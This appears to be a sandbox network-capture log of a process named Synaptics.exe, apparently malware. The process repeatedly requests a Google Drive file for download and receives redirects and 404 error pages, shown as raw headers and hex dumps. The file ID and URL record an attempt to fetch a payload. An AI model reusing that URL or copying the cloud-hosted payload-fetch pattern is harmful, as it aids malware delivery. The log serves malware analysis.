2024-11-15 10:23:38 UTC	1597	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 37 64 69 33 32 37 79 78 6a 6d 7a 64 62 38 6d 59 59 68 44 61 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="q7di327yxjmzdb8mYYhDaA">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-11-15 10:23:38 UTC	55	IN	Data Raw: 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49722	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:38 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49728	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-cCB6jCs1tD_h1BOIKhl-pw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49727	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-bHJ03HsDALuog1mY1MpR5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49729	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:39 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=SEIp9Ft1pM_DTSp4ZWAE2JXd5p6vYnOenYasNDVud7Yu6_XlLVZWsdgqTMAV0WJp8gbHLzac7m-O074jzZozfmgMpTLCdPEbll-92cpDhan5otbZ5vTSOiiwCIw1pFCy9i0rkRERXyoZZbduoCGvMnLGpGFYBf-d6w_ZXbzQtTOeATiGU0dEJLQO
2024-11-15 10:23:40 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:39 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MbFjJOfr2lxQDAYD5AA7Gg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC6xvvkf5JEWNm-Ebn0hiW1kBU41BGLEaRKdWiflC-APIEpLNolaXMv8I9Q3pLhL7kzFVwD7hwXKNQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:40 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:23:40 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 35 67 32 72 44 4d 4e 44 6f 6d 64 2d 43 78 42 66 66 54 6a 68 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="45g2rDMNDomd-CxBffTjhA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:23:40 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49735	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:40 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-HzTxAU4Jdrupq6aT6q1X7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49734	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:40 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:41 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:41 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-x9y0utDfJiKu31ywvBbS_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC7L2BXvs262vS2RCRr1XhfzU8weUU737nJjB4ff9xin1Iu_yxpEYqP6CE2CWgkgSeSDMB0 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:41 UTC	132	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><titl
2024-11-15 10:23:41 UTC	1378	IN	Data Raw: 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 6c 43 39 63 72 65 42 73 71 48 46 44 52 77 49 62 63 6e 30 35 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 Data Ascii: e>Error 404 (Not Found)!!1</title><style nonce="UlC9creBsqHFDRwIbcn05Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-heigh
2024-11-15 10:23:41 UTC	142	IN	Data Raw: 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: pan></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49733	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:40 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ghQXt_r_IlrKCoBLQpI60Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49736	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:40 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:41 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:41 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-AT4tiocDJ7GXbZrMx4bX9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC6sXoB-DQ3X68mRqwrwTwB86msQX0Am439MkhnBXj8L7rA-JKo93560cs_SqJvE05cXjtA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:41 UTC	132	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><titl
2024-11-15 10:23:41 UTC	1378	IN	Data Raw: 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 6e 6f 56 66 61 47 43 5a 50 49 32 5f 45 73 59 76 68 38 41 5f 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 Data Ascii: e>Error 404 (Not Found)!!1</title><style nonce="vnoVfaGCZPI2_EsYvh8A_w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-heigh
2024-11-15 10:23:41 UTC	142	IN	Data Raw: 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: pan></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49738	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:42 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-KFiXBi9zV8NsnUQcJacVhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49737	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:42 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Vb9mQVNeEQAUzbNINp0QHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, 